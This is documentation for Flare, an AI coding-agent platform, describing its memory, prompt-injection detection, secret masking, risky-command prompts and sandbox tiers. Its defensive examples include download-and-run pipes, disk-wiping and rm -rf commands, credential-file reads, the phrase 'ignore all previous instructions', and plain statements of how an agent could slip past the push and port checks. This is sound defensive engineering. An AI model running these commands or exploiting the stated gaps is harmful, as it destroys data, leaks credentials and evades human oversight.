### Durable long-term memory

**What it does** — The agent has `remember` (save a durable fact) and `recall` (semantic search) tools backed by a per-project SQLite store. Facts survive server restarts and idle-eviction, and are shared between the project's main sessions and every fleet agent — anything one agent remembers, the others can recall. `remember` is an edit, so a `read-only` run (a card refining or planning, or, under the default mode, a session started outside the board) can recall but not save.

**Where to find it** — Settings → Memory (`/p/p_2449f1b1/settings`, **Memory** in the section nav).

![The Memory panel: mined facts waiting for approval, Reconcile the whole store with Delete all and Review, the search box, the facts, and the form to add your own](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/settings-memory.png)

**How to use it** —

1. Browse the saved facts; each shows its text and optional scope tag.
2. Type in **Search memories** to narrow the list to facts whose text or scope contains your query (case-insensitive); a count shows how many match. The filter searches the masked text, so it will not find a fact by a secret it contains.
3. Add your own: type into "A durable fact to remember…", optionally set a scope, and click **Add** — the agent will recall it in future runs. A fact whose text or scope looks like a credential is refused rather than stored, since it would ride into every later prompt.
4. Click **Delete** on any stale fact and confirm ("Delete this fact?") to remove it.
5. **Delete all**, at the top of the pane, empties the store after a confirmation; proposals waiting for review are kept, and it is unavailable while a review runs.

**How it works** — Each fact is embedded into a vector at save time; `recall` embeds the query and ranks facts by cosine similarity. The list is secret-masked on the wire before it reaches the UI, so a fact that captured a credential can't leak it. Facts, proposals, their rationale and a reconcile plan's text show invisible and direction-changing characters as `<U+…>`, so what you approve is what is stored.

**Configuration** — None required; the store is `<project>/.flare/memory.sqlite`.

### Post-run memory mining ("dreaming")

**What it does** — After a run, Flare can mine the transcript for candidate durable facts — conventions, decisions, gotchas, stated preferences — and queue them for you to approve. Nothing is remembered without your say-so.

**Where to find it** — Settings → Memory, the **Proposed** list. Memories that arrive with an imported project archive land in the same list, scanned by this server, never straight into memory.

**How to use it** —

1. Turn on **Memory → Mine memories after a run**.
2. After a run completes, review the **Proposed** list. One marked **⚠ flagged** tripped the injection scanner (it looks like an instruction, not a fact — a possible memory-poisoning attempt).
3. **Approve** writes a fact to long-term memory; **Reject** drops it. A proposal whose text looks like a credential is refused on Approve ("this proposal holds a secret — reject it") and stays queued for you to reject.

**How it works** — The miner is one tool-less model call over the session's already-masked transcript, so it can only propose text, never act; candidates are capped, re-masked, and scanned for injection before you see them. Every successfully completed main session is mined and up to 5 candidates are queued as proposals. A backlog card's **refine** and **plan** runs are never auto-mined, because a refined or planned card may still be discarded or re-planned. The card is mined when its **implement** run completes (revision rounds included), over the whole session transcript. The stage is recorded as `spec.stage` on each card run's `run.started` event, and the miner reads it from there.

**Configuration** — **Memory → Mine memories after a run** (off by default).

### Whole-store memory reconciliation

**What it does** — Facts are approved one at a time and nothing ever retires one, so a store slowly collects a fact beside its replacement. **Review** reads every fact and adopts the merges, corrections and retirements it proposes, pass after pass, until a pass finds nothing left to change. The review runs on the server, so leaving the page neither stops it nor forgets it; **Stop** ends it at once, abandoning the pass in flight. A pass with an operation that tripped the injection scanner, or that would write what looks like a secret, is never adopted on its own: the review pauses on it, and you read it as an old-versus-new diff and **Adopt** (which resumes the review) or **Discard** it. **Delete all**, beside Review, empties the store after a confirmation; proposals waiting for review are kept.

**Where to find it** — Settings → Memory, above the facts list (`/p/p_2449f1b1/settings#memory`).

**Why it exists** — Exact-duplicate matching finds nothing in a real store, which makes the problem easy to miss. Measured on Flare's own 81-fact store with the `local` embedder: **zero** exact duplicates, and **18 pairs above 0.90** cosine similarity (2 above 0.95, 53 above 0.85) — roughly a fifth of the store saying the same thing twice. Two rows at 0.991 both state that `.flare/` sits on the protected-path floor. And at least one pair is in genuine tension rather than merely redundant: one row describes what `pnpm run verify` runs, correctly, while its 0.940 neighbour presents a different sequence as the same command — so a reader holding both learns something false.

**How to use it** —

1. Click **Review**. Each pass is one bounded model call over the whole store, with your five most recent sessions as evidence. The pane shows the pass it is on and what it has rewritten and removed so far.
2. When a pass finds nothing to change, the review ends and says how many passes it took and what it changed. A pass whose suggestions could not be applied leaves them readable, with **Dismiss**.
3. If the review paused, read the operations and the diff. An operation whose text tripped the injection scanner is marked **⚠ flagged**; tick the acknowledgement before Adopt unlocks — an adopted fact is recalled into every later run, so a flagged one never rides along with the safe ones unseen.
4. **Adopt** applies exactly the change the diff showed, reports what it did ("Adopted: 2 rewritten, 3 removed") and resumes the review; **Discard** forgets the plan and leaves the store untouched.

**How it works** — The plan is a list of **operations** over ids the store already holds — merge, update, drop — never a rebuilt store. That matters twice. A model that loses attention two-thirds of the way through emits a _shorter_ store, which arrives as thirty deletions nobody can tell from thirty deliberate merges; with operations, anything unmentioned is **kept**, so a truncated reply costs coverage and never data. And adopting rewrites only the rows the plan names, where a literal rebuild would re-mint the id and timestamp of every untouched fact.

There is deliberately **no `add` operation**, and transcripts are read only as evidence for which of two disagreeing facts is current. Surfacing _new_ facts is already [the miner's job](#post-run-memory-mining-dreaming), and its output lands in the propose-approve queue where a flagged candidate is marked in the approval queue. An `add` here would be a second door into recall-able memory, past that gate, opened by text from a transcript nobody vetted. The transcripts are bounded, framed as data, and their delimiter is neutralized so a transcript cannot forge the end of its own block.

The candidate you review and the store you end up with are computed by **the same function** of the plan, so they cannot drift. Two separate checks keep that true when something happens in between. The plan records a sha256 fingerprint of the exact store it was computed against, so an agent mid-run calling `remember` — or your own edit — makes the pane say the plan is stale, hide the diff, and refuse to adopt. And adopting **names the plan it reviewed**, because a fingerprint cannot catch the other case: one plan is stored at a time, so a second browser tab pressing Review replaces it while leaving the store, and therefore its fingerprint, exactly as it was. The plan is persisted (and its age shown), so it survives a server restart while you think about it.

Adopting reports what it actually did. If a row could not be written — the embedder failing on a cold start is the realistic case, since a fact is embedded before it is stored — that row is **named**, and the merge sources it was going to replace are left alone rather than removed in exchange for a row that never landed.

**Bounds** — A store holding more than 200,000 characters — counting each fact's id and scope as well as its text, since the model is shown all three — (roughly 630 facts at this store's median length) is **refused** with both numbers named, rather than reviewed in part: a partial review presented as whole-store would be adopted by someone who believed every row was considered. The limit is measured on the stored facts rather than on what rendering them produces, because those are not the same number — a fact of 400,000 spaces renders to one character. Adopting writes the survivors before removing anything, so an interruption leaves a duplicate the next reconciliation offers to merge again, never a fact that is simply gone. A reply cut off by the model's output ceiling keeps the operations that arrived whole; the next pass reviews what it never reached. A review stops after 10 passes, so a model that rewords the same fact each pass cannot spend without end, and a pass planned against a store that changed while the model read it is planned again rather than adopted.

**Configuration** — None. It runs only when you press the button.

### Real semantic embeddings

**What it does** — By default, memory uses a built-in deterministic hashing embedder — zero-config, offline, good enough for keyword-ish recall. Two better options sit behind one setting: a **local** embedder that runs on this machine, or the hosted Voyage provider. Either way `remember`/`recall` get a genuinely semantic vector space, with no other change to how memory works.

**The local option needs no key and no server.** It runs `bge-small-en-v1.5` in-process on ONNX Runtime's WASM build, downloading about 130 MB of weights once into `~/.flare/models` the first time you select it — after that nothing leaves the machine. Measured on Flare's own recall benchmark at k=3: the built-in hashing embedder scores **11.1% precision / 33.3% recall / 0.333 MRR** and returns nothing relevant for four of six reworded questions; the local one scores **33.3% / 83.3% / 0.917** and answers **all six**. The precision ceiling on that dataset is 44.4%, because most cases have a single relevant row and a top-3 answer can therefore be at most one-third relevant — so 33.3% is close to the best score available, not a mediocre one. Loading the model takes about 0.7s once; each embedding then takes about 13ms on one CPU thread.

**How it works** — Every stored fact is stamped with its embedder's vector-space id (`hash-64`, `wasm:bge-small-en-v1.5`, `voyage:voyage-3-lite`), and search only scores facts from the current space — so switching embedders can never silently mis-rank old, incompatible vectors. A configured provider with a missing key, or a local model that has not been downloaded, degrades back to the hashing embedder rather than breaking memory — and says so in the log, because a capability that silently does nothing is worse than one that is plainly off.

The weights are **pinned**: each file carries a sha256 and an exact byte count in Flare's own source, the download is hashed as it streams, and a mismatch deletes the partial and refuses. So the guarantee does not rest on the CDN or on DNS — the bytes are the ones this repo recorded, or they are not used. Nothing is ever fetched at install time, and nothing is fetched at all until you pick the local provider.

**Configuration** — **Memory → Embedding provider**: **Built in** (unset, the default), **Local (on this machine)** (`local`) or **Voyage** (`voyage`). For Voyage, **Memory → Embedding API key** (falls back to `VOYAGE_API_KEY`); optionally the hidden `memory.embeddingModel` (default `voyage-3-lite`) and `memory.embeddingBaseUrl`. The local provider takes none of these.

### Secret masking everywhere

**What it does** — Every registered secret is replaced with `<secret:NAME>` in any text before it is persisted to the event log or shown anywhere — the transcript, the memory list, process output, exported transcripts, PR bodies. Because masking happens at write time and the event log is the source of truth, a raw secret never lands on disk in the first place.

**How it works** — Provider credentials (API keys, OAuth tokens, embedding keys) are registered automatically at engine start, longest value first so partial overlaps can't leak. Every surface that renders session content inherits the same masking; there is no way for the agent to echo a registered credential into the UI.

**A secret nobody registered** — Masking only knows values it was given, so a password a person types into a prompt is not covered by it. Before a prompt, a card or a command is accepted, a scan refuses it when it carries a known key format (AWS, GitHub, Google, Slack, Anthropic, Stripe, a private-key block), a quoted `password = "…"` style assignment, a password in a URL (`postgres://user:pw@host`), a credential flag (`--password x`, `--token x`, `curl -u user:pw`, `docker login -p x`) or an unquoted environment assignment (`export DB_PASSWORD=x`). A value that reads a variable (`$X`, `${X}`, `<placeholder>`) or is an obvious placeholder or a common development default (`postgres`, `admin`, `change-me`) passes. A prompt or card is also refused for a password written out in words (`my password is hunter2`); a word with no digit in it (`the password: field is required`) is talk about passwords and passes. The same scan screens a memory fact you add, a rule you save, a note sent with Deny, a typed **Other…** answer, and a prompt sent through MCP `flare_run` or ACP. The refusal names the kind and never the value: a known key format shows its first four characters and its length (a private-key block shows neither), and anything else shows only `••••`. Read the value from an environment variable or a secret manager instead.

### Untrusted-content tagging

**What it does** — Output that comes from outside your workspace — MCP tool results, fetched web pages, browser-tool reads, `@Web` mention content, facts returned by `recall`, and a subagent's reply — is wrapped in an `<untrusted source="...">` block before it reaches the model, and the system prompt instructs the model to treat such blocks as data, never as instructions. Errors thrown by untrusted tools are tagged the same way, and any literal closing tag inside the content is neutralized so a hostile page can't "break out" of its quarantine.

**How it works** — Tagging is applied in the tool guard that every tool call passes through — MCP, plugin, and connector tools all inherit it, so a new tool source can't accidentally skip the quarantine.

**Configuration** — **Safety → Quarantined reading** (`safety.quarantineSources`, advanced, empty by default) goes further for the sources you list (`connector:fetch`, `connector:browser`, `mcp` or `mcp:<server>`, `memory`, `agent`): the agent reads only a tool-less model's summary of their output, never the output itself. See [Quarantined reading](#quarantined-reading--the-agent-never-sees-the-hostile-bytes).

### Prompt-injection detection

**What it does** — On top of the passive quarantine, Flare actively scans untrusted output for high-confidence prompt-injection shapes across five categories: instruction-override ("ignore all previous instructions"), role-hijack (jailbreak persona redefinitions), system-prompt extraction, delimiter breakout (forged chat-template tokens), and secret exfiltration directives.

**How it works** — Detection is deterministic (regex, no model, no network), always on, and tuned for precision so benign pages like install guides don't trip it. On a hit, the default action prepends a trusted "⚠ FLARE SECURITY" alarm ahead of the still-quarantined block so the model gets an explicit, specific warning; in strict mode the flagged payload is withheld from the model entirely. Every detection is also logged on the server for observability. It reads text as a person sees it — NFKC-normalised, with zero-width and other invisible characters removed — so padding a phrase with them does not hide it. An MCP or plugin tool's own description is scanned too; a hit there is logged and the tool is still offered, to review in the MCP pane.

**Configuration** — The hidden `safety.injectionAction`: `annotate` (default) or `block`, set by hand in `~/.flare/settings.json`.

### Flare's own API is not a free call for the agent

**What it does** — Flare's HTTP API runs on loopback behind a per-install token that every confining tier hides from the agent. On the `local` tier nothing hides it: agent code that reads `~/.flare/api-token` in a way the credential floor misses, then runs `curl http://127.0.0.1:8787/projects/...`, reaches the API with your authority — and not merely to read: the same reach resolves the agent's **own pending approvals** and writes permission rules. The connector egress gate refuses this port for `@Web` and the browser tools; `run_command` does not pass through it, and that is the half this covers.

A command that addresses Flare's own listener — `127.0.0.1:8787`, `localhost:8787`, `[::1]:8787`, or whatever address and port the server was actually bound to — surfaces a confirmation, in every mode including `auto`. It matches `host:port`, bash's socket path (`/dev/tcp/127.0.0.1/8787`), and a host and port given to netcat or telnet as two words (`nc 127.0.0.1 8787`), never the port alone: `vite --port 8787` and `PORT=8787 npm start` are things an agent types all day, and a floor that prompted on those would be switched off within a day.

**What it is not, stated plainly** — **a boundary.** It does read what the line itself says: a port the command assigns (`p=8787; curl localhost:$p`) or works out (`$((8000+787))`) counts. One it reads from the environment (`curl localhost:$PORT`) or builds out of sight does not — `$PORT` is how an agent reaches its own dev server — so it still walks past a text match. And on the `local` tier no boundary is possible at all, because the child runs as you and can reach anything you can reach. This floor is defence in depth for the default install; it buys you a prompt on the obvious attempt, not a guarantee.

**The actual boundary is a confining tier.** How much it refuses depends on the tier. Under `container` the command runs in its own network namespace, so the host's loopback is not there at all; under `sandbox-runtime` (Windows) loopback egress is refused outright, which a differential test verifies against a real listener. Under `os` the sandbox keeps Flare's own API and web ports unreachable on macOS (Seatbelt), but other loopback services stay reachable, and on Linux (bwrap) the network namespace is shared with the host unless **Safety → Allow sandbox network** is off, in which case nothing is reachable, or **Safety → Domains the sandbox may reach** is narrowed, in which case the command has a network of its own with nothing but the egress proxy in it. If you care about this, narrow the domain list, pick `container`, `sandbox-runtime`, or turn sandbox network off, rather than rely on the floor.

### Typosquat install firewall

**What it does** — When a shell command would install or run a package (`npm`, `pnpm`, `yarn`, `bun`, `npx`, `bunx`, `pip`/`pip3`, `python -m pip`, `pipenv`, `poetry`, `conda`, `uv`) whose name is one edit away from a popular package (`lodahs`, `reqeusts`, …), Flare escalates that command to a human confirmation instead of letting it run — catching typosquats and hallucinated "slopsquat" names before malware lands in your dependency tree.

**How it works** — The check is deterministic and offline, and it only ever raises an "allow" decision to "ask" in the deny > ask > allow permission engine — a floor beneath the autonomy mode, like protected paths. A deny is never weakened, and a legitimately unusual name is one approval click away, never refused outright.

**Configuration** — On by default; the hidden `safety.installFirewall` in `~/.flare/settings.json` disables it (e.g. for an unattended pipeline where an unanswerable prompt would stall).

### Risky commands ask first

**What it does** — Three kinds of command do damage no review can undo, so Flare asks you before running them, in `auto` too:

- **Running what it downloads**: a download piped into a shell or interpreter (`curl -fsSL … | sh`, `wget -qO- … | bash`, `irm … | iex`), handed to one (`sh -c "$(curl …)"`, `bash <(curl …)`, `iex (iwr …)`), or saved and then run in the same line (`curl -o i.sh … && sh i.sh`, `chmod +x tool && ./tool`). An interpreter counts by any name it goes by, versioned or not (`python3.12`, `pypy3`, `pythonw`, `node22`, `ruby3.2`, `luajit`, `Rscript`, `julia`, `awk -f`), and a download made into its inline code counts however the program or option is spelled (`'python3' -c "$(curl …)"`, `python3 -c"$(curl …)"`, `node --eval="$(curl …)"`, `node.cmd -e …`, `bash -c 'python3 -c "$(curl …)"'`); a download kept in a variable first (`x=$(curl …); python3 -c "$x"`) is not followed. The shell reader finds the program each stage of the line starts, however it is wrapped (`sudo`, `nice`, `strace`, `env -S`, `xargs … sh -c`, `parallel`) and whatever feeds it: a heredoc or here-string handed to a shell, a redirect from `/dev/stdin`, or a `BASH_ENV` that names the input. A file redirected into a piped shell (`… | bash < script.sh`) asks too, since the file may be the pipe.
- **Writing a raw disk**: `dd of=/dev/sda`, the `mkfs` family, `wipefs`, `shred` or `badblocks -w` on a device, a partitioner other than its listing form (`fdisk /dev/sda`, but not `fdisk -l`), `diskutil eraseDisk`, `nvme format`, `format D:`, `diskpart`, the disk cmdlets (`Format-Volume`, `Clear-Disk`, …), and a redirect or `tee` onto a disk device.
- **Removing the root of a drive or a home folder**: `rm -rf /`, `/*`, `~`, `$HOME`, `${HOME:?}`, `/home/bob`, `/Users/alice`, `/c/Users/bob`, `C:\`, `C:\*.*`, `%USERPROFILE%`, `$env:USERPROFILE`, with `rm`, `rimraf`, `Remove-Item`, `rd /s`, `del /s` or `find … -delete`, and any `rm --no-preserve-root`.

The question says which of the three it is, and that note is kept on the `approval.requested` event in the run's trace.

**How it works** — It reads each command the line runs the way the deny rules do, so a wrapper (`sudo`, `env`), a chain (`true && rm -rf ~`), a script handed to a shell (`bash -c '…'`, `powershell -Command "…"`) or a remote one (`ssh host 'rm -rf /'`) counts. Text inside quotes, such as a commit message or a grep pattern, does not. Everyday lines stay allowed: `rm -rf node_modules`, `rm -rf ~/.cache/app`, `curl … | jq .`, `curl … -o a.tgz && tar xzf a.tgz`, `dd if=/dev/zero of=out.img`, `fdisk -l`. Like the other floors it only raises an "allow" to "ask": a deny rule and read-only mode still refuse. It catches the plain spelling, not a path built out of sight (`d=/; rm -rf $d`); a confining tier is the boundary.

**Configuration** — The hidden `safety.riskyCommands` in `~/.flare/settings.json` decides where it applies. `unconfined` (the default) asks only where a command runs on this machine with nothing confining it: the `local` sandbox tier, which **Safety → Sandbox tier**'s `auto` picks on Windows and wherever `os` cannot confine (see [Sandbox tiers](#sandbox-tiers)). A box, and a card that runs nowhere on this machine, never asks for these by default. `always` asks on every tier. `off` never asks for these.

### Asking before every web request, and read-only egress

**What it does** — Two opt-in controls over what the agent can reach on the network, both off by default.

**Safety → Ask before every web request** makes every use of a web tool ask you. The network tools (`web_fetch` and `browse`) carry the **host they are reaching** as their permission subject, so the approval prompt names the domain rather than just the tool. It asks each time: there is no remembered per-domain grant, since an ask rule outranks any allow — for a domain you always trust, leave the setting off and let the allow-list decide.

**GET/HEAD only** (the hidden `safety.egressReadOnly`) refuses any outbound method other than GET/HEAD on connector fetches. A request carrying a **body** is the shape bulk exfiltration takes, and a read-only egress cannot send one. It narrows the channel rather than closing it — a GET can still carry data in its query string — so treat it as defense in depth for unattended runs rather than the main control. The `browse` tool fetches through the same boundary, so it is held to GET and HEAD too.

**Connection pinning** — the DNS check and the connection are the _same_ step. Validating a hostname and then letting the HTTP client resolve it again at connect time leaves a race: a domain with a very low TTL can answer with a public address for the check and an internal one for the connect. Flare's outbound connector fetches therefore go through a resolver that validates and returns one address, and the client connects to exactly that address — so there is no second lookup to race, and redirect hops are covered too. The earlier pre-fetch check still runs, because it fails faster and with a clearer message.

**How it works** — Both opt-in policies ride machinery that already exists. The ask policy seeds ordinary permission rules, so `deny > ask > allow` still holds: a persisted deny still wins, and every request asks, a domain you approved before included. The method gate lives in the shared `fetchText` boundary, so every connector that reaches the network inherits it.

**Configuration** — **Safety → Ask before every web request**; `safety.egressReadOnly` (refuse any outbound request that is not a GET or HEAD) is hidden and set by hand in `~/.flare/settings.json`. Per-domain rules are also editable by hand in `.flare/permissions.json`.

### Lifecycle hooks (`.flare/hooks.json`)

**What it does** — Deterministic guardrails that run outside the model's judgement: auto-format after an edit, block `.env` reads, or notify when a run finishes. Seven events fire — **PreToolUse** (before a tool runs; it can block the call), **PostToolUse** (after, fire-and-forget — also after a call whose tool threw, with `FLARE_IS_ERROR=true`; a call the guard refused never started and fires none, and neither does a call that threw because the run was stopped), **PermissionRequest** (a call is about to ask a person; it can deny the call before anyone is asked, never approve it), **Stop** (the main agent's run finished), **SubagentStop** (a subagent's run finished, with `FLARE_PARENT_SESSION` naming the run it worked for; Stop does not fire for it), **SessionStart** (a run begins) and **CardStage** (a card moved on the board) — each with an optional tool matcher (an exact tool id or a `*` glob such as `run_*`; blank matches every tool) and one of three handlers: **command** (a shell command, with `FLARE_TOOL` / `FLARE_SUBJECT` / `FLARE_EVENT` in its environment, and `FLARE_PROJECT_DIR` — the project root, since a board card's hooks run in its worktree, which has no `.flare/`: call a script as `node "$FLARE_PROJECT_DIR/.flare/hooks/guard.mjs"`), **http** (POSTs a small JSON body to your URL), or **notify** (emits a message). PreToolUse and PermissionRequest are limited to a command handler, since only a command can deny (a non-zero exit denies, with its output as the reason, and `failClosed` denies a hook that could not run).

**Where to find it** — `.flare/hooks.json` in the workspace. There is deliberately no settings pane: a hook is a privilege elevation rather than a preference, so installing one costs a deliberate file edit.

**How to use it** — The file is a list of hooks (or `{"hooks": [...]}`), each with a unique slug `name`, an `event`, an optional `matcher` and a `handler`; `"enabled": false` keeps a hook in the file without running it. An entry that does not validate, or repeats a name, is skipped and logged; the rest still load.

```json
[
  {
    "name": "no-env-reads",
    "event": "PreToolUse",
    "matcher": { "tool": "read_file" },
    "handler": {
      "type": "command",
      "command": "node \"$FLARE_PROJECT_DIR/.flare/hooks/guard.mjs\"",
      "timeoutMs": 5000
    },
    "failClosed": true
  },
  {
    "name": "card-done",
    "event": "CardStage",
    "matcher": { "stage": "done" },
    "handler": { "type": "notify", "message": "A card is done" }
  }
]
```

**How it works** — A PreToolUse command hook denies the tool call by exiting non-zero — a hard, deterministic block ahead of the model, layered with the permission engine. A PermissionRequest command hook denies the same way, but only for a call the engine was about to ask a person about; it can never approve one. Every other event is fire-and-forget, bounded by a timeout (blank = 5000 ms, capped at 60000 ms). A command that does not exist is detected as missing rather than read as a non-zero exit, so a hook pointing at an uninstalled tool cannot silently deny every call it matches.

**Hooks that decide** — Three options answer questions a plain hook could only answer globally or not at all.

**`failClosed`** turns "this hook could not run" into a deny. The default — fail open — is right for a quality aid: a linter hook whose command is missing must not block every tool call in the project (which is also why a Windows `cmd` returning a plain `1` for a missing command is detected as missing, not read as a deny). It is the wrong answer for a **policy**: a hook whose job is to refuse something has failed at that job when it cannot run, and failing open there silently removes the control. Only its author knows which kind it is, so the question is per hook. It applies to the deny-capable events only, and is **refused** elsewhere rather than accepted and ignored.

**A PreToolUse hook can rewrite a call.** Print `{"updatedInput": …}` and the tool runs with those arguments instead — a formatter normalizing a path, a policy pinning `--no-verify` off. What makes this safe is **ordering, not trust**: the hook runs before the budget check and before the permission engine, so a rewrite is what every later gate evaluates, and a hook cannot turn `ls` into `rm -rf /` and ride an approval given for the `ls`. The subject is re-derived so a rule matches what will actually run, the human is asked about the rewritten call rather than the model's original, and arguments carrying a `<secret:…>` placeholder are refused exactly as an approve-with-edit is. Every rewrite writes a **`tool.rewritten` event** naming the tool and the hooks responsible — without it the trace would show a call the model never made, since `tool.called` carries the rewritten arguments because those are what ran.

**A PostToolUse hook can put context in front of the model.** Print `{"additionalContext": …}` and it arrives at the top of the next step, alongside the other notices, attributed to the hook. It rides the existing notice seam rather than being spliced into the tool result, and that is deliberate: post-hooks see the **raw** result and the untrusted wrapper is applied after them, so appending there would write operator text into the quarantine that tells the model to treat a third party's output as data. It is masked and capped like every other model-facing string.

Emitting a decision is **opt-in** (`"output": "json"`), because hooks print things: a formatter logging `{"file": "x.ts"}` must not have its diagnostics read as a decision and silently rewrite the call it was describing. Declaring it also makes the failure loud — output that does not parse counts as "could not run", so it reaches the same `failClosed` decision as a missing command instead of a hook that meant to rewrite doing nothing at all.

The **CardStage** event fires when a card moves on the board (`review`, `done`, `failed`, …), narrowed by a `stage` matcher on the same glob rules as `tool`. It is fire-and-forget, so unlike the blocking events it accepts an `http` or `notify` handler — telling a dashboard a card is done is the point of it. An `http` handler is a request the server sends to a URL the repository names, so it is refused, like a command, by a project's engine that runs nothing on this machine (a sandbox project's), by a sandbox card's engine, and by every engine of a hosted server; a `notify` handler only logs and always runs.

**Two things this deliberately does not add.** There is no hook that **vetoes a board transition**: Flare already rejects a card entering review from two places — the rubric gate auto-requeues a revision round through the same seam human "request changes" uses, and `review.command` is a command-based reviewer whose findings land on the diff — and a third path would be a way to send a card back that neither of those knows about, with an exit code instead of a score or findings. And there is no **`beforeRead`** event: reading a file in Flare _is_ a tool call, so a PreToolUse hook matching `read_file` already runs before every read, already refuses one, already honours `failClosed` and can already rewrite the path. A second event would be a second way to write the same hook.

Trusting `.flare/hooks.json` is equivalent to trusting the workspace, which is why it is trust-gated exactly like `flare.mcp.json`: a command hook is arbitrary shell running with your privileges, and a SessionStart one fires before any tool call or permission decision. The server's authoring API keeps the matching guard for any client that writes one — it refuses to install a `command` handler unless the request explicitly acknowledges it (`"confirmCommand": true`) — so exec can never be installed as a side effect of a generic "save my config" call.

**Configuration** — `.flare/hooks.json`.

### Sandbox tiers

**What it does** — Chooses where the agent's shell commands execute. `local` runs them directly on your machine with the workspace as the working directory and credentials scrubbed from the environment — fast, no dependencies, but nothing confines what a command reads or writes. `container` runs each command in an ephemeral Docker container with the workspace bind-mounted and **no network access at all** — the right tier for untrusted code.

**Where to find it** — The active tier is shown in the Run settings popover: click the model chip (gear and model name) in the top bar, then look under **Autonomy & sandbox** → **Sandbox**.

![The Run settings popover showing the active sandbox tier](https://github.com/Flare-Agentic/flare/raw/main/docs/screenshots/run-settings.png)

**Automatic, and when it cannot confine** — **Safety → Sandbox tier** defaults to `auto`: `os` on macOS, `os` on Linux when bubblewrap can confine there, and `local` everywhere else, including Windows, where the `sandbox-runtime` helper confines one folder per server process while every card runs in its own worktree. The tier it settled on is logged when the server builds its engine, with the reason when it fell back. While `auto` has fallen back to `local`, a card refuses to start or to take a revision — it implements in `auto`, which runs commands without asking — and the refusal names the way out: choose **Safety → Sandbox tier → On this machine** (`local`) explicitly, which is the choice to let cards run unconfined. On a hosted server no card runs on the server at all, whatever the tier: a project there runs its cards in a sandbox, and its own engine runs no command.

**Configuration** — **Safety → Sandbox tier** `auto` (default), `local`, `os`, `sandbox-runtime`, or `container` (requires Docker; uses a `node:24-alpine` image with `--network none`, every capability dropped, `no-new-privileges`, and on Linux the calling user's uid:gid, so the container can leave no setuid file or root-owned output in the workspace).

The `os` tier wraps every agent command — both `run_command` and background terminals (`start_process`) — in the platform's native confinement primitive so the agent's own writes are confined to the workspace (plus temp) at the OS level while reads and toolchains keep working.

The pre-merge verify Flare runs for a card is confined to that card's own worktree, not the whole project, so a card's test or script cannot write the main checkout or a sibling card's worktree (`container` already scopes a command to its own folder; the Windows tier cannot, because its helper is process-wide and fixes one root). For a project Flare cloned under its own home, that also hides the clone's `.git` from those commands, exactly as it is hidden from the card's agent, so a verify command that calls `git` fails there.

The conventional credential paths under your home directory (`~/.ssh`, `~/.aws`, `~/.gnupg`, `~/.kube`, `~/.docker`, `~/.config/gh`, `~/.claude`, keyrings, `~/.password-store`, `~/.netrc`, `~/.npmrc`, `~/.Xauthority`, Cargo, Vault, GitLab, Wrangler, Supabase and ngrok tokens, on Linux Vercel and Netlify logins, 1Password CLI config, sops age keys, browser profiles with their session cookies, shell and REPL history, …) and the Flare home itself are hidden from the confined command, which also gets no `DISPLAY`, `XAUTHORITY`, `WAYLAND_DISPLAY` or `DBUS_SESSION_BUS_ADDRESS` — reads being allowed is what made an approved `cat ~/.ssh/id_rsa` a credential leak with network on.

On every tier the child's environment also drops any variable named like a credential, not only Flare's own keys: a word ending in `TOKEN`, `SECRET`, `PASSWORD`, `PASSPHRASE`, `CREDENTIAL(S)`, `APIKEY`, `JWT`, `WEBHOOK` and the like (`GITHUB_TOKEN`, `PGPASSWORD`, `CI_JOB_JWT`); `KEY`, `PWD`, `PW`, `PASS`, `AUTH` or `PAT` as the last of several words (`AWS_SECRET_ACCESS_KEY`, `MYSQL_PWD`, `SMTP_PASS`, `GITHUB_PAT`, but never `PWD` itself); `KEY` or `PRIVATE` followed by an encoding (`PRIVATE_KEY_PEM`, `SIGNING_KEY_BASE64`, also `B64`, `DER`, `JSON`); and `SSH_AUTH_SOCK`, `AWS_ACCESS_KEY_ID`, `SSHPASS`, `BW_SESSION`, `OP_SESSION_*` and `DOCKER_AUTH_CONFIG` by name. A variable holding one goes too, whatever its name: a URL with a password or a forge token in it, a connection string with an `AccountKey` or `Password`, an `Authorization:` header. Those values are masked if they ever appear in output. `GIT_ASKPASS` and `SSH_ASKPASS`, programs that answer a password prompt with a stored credential, go too.

Git run by what an agent runs on the `local`, `os` and `sandbox-runtime` tiers sends a push to a network remote (`https://`, `http://`, `ssh://`, `git+ssh://`, `ssh+git://`, `git://`, `ftp(s)://` or `git@…`, in either case) to a transport that does not exist (`pushInsteadOf` rewrites it to `flare-refused-push://`), so the ordinary push a script, release tool or package hook makes fails before it connects, whatever the command line looked like. A remote written another way (`alice@host:repo`, an ssh host alias, `hTTps://`) is not rewritten: this stops the ordinary push, not a determined one, which only a confining tier holding back the credentials does. Flare lands a card's work with its own git, which this does not touch; fetching, and pushing to a repository on disk (a project's tests with a bare repo), still work. Nor does git or a credential manager open a password prompt for those commands (`GIT_TERMINAL_PROMPT=0`, `GCM_INTERACTIVE=never`). This is not a boundary against an agent that sets out to push: it controls its own environment and command line, so it can undo the setting, name a `pushurl`, or call a remote helper directly, and on the `local` tier your stored credentials (the credential manager, `gh`, `~/.ssh`) are one command away. Only a confining tier holds against that, by hiding those credentials; the `container` tier has no network at all.

On Windows every Flare process (server, `flare-run`, `flare-eval`) sets `NoDefaultCurrentDirectoryInExePath` and passes it on to MCP servers and allow-listed children, and drops relative `PATH` entries, so its own `git`, `gh`, LSP and hook commands are never picked up from a `git.exe` an agent planted in its working folder.

On Linux this is bubblewrap (`bwrap`): the root filesystem is remounted read-only with the workspace bound read-write and `/tmp` replaced by the workspace's own temp folder — one per confined workspace, a card's worktree or the project checkout (`FLARE_HOME/tmp/cards/<id>`, kept across that workspace's commands and pruned once the workspace is gone; `TMPDIR` points at it) — so no card sees another's temp files or the host's, and a private PID/IPC namespace plus a fresh session stop the confined process from reading host `/proc`, signalling the server, or ptrace-escaping. Run as root, it also drops every capability, so a confined process cannot unmount what hides your credentials or remount the root filesystem writable.

A read-only mount does not stop a process connecting to a socket on it, so every socket the host has listening under `/run`, `/var/run` and `/tmp` (Docker, D-Bus, ssh-agent, X11, tmux) is covered with `/dev/null` for each command, and a folder more than six levels down, whose sockets the scan does not list, is hidden whole with an empty tmpfs; sockets inside the workspace stay usable. The scan refuses the command rather than guess when it cannot finish (more than 20,000 entries, or a folder it fails to list). Abstract-namespace sockets stay reachable while network is on and the domain list is `*`, because the tier then keeps the host network, and sockets outside those three folders (under `$HOME`, `/var/lib`) are not covered.

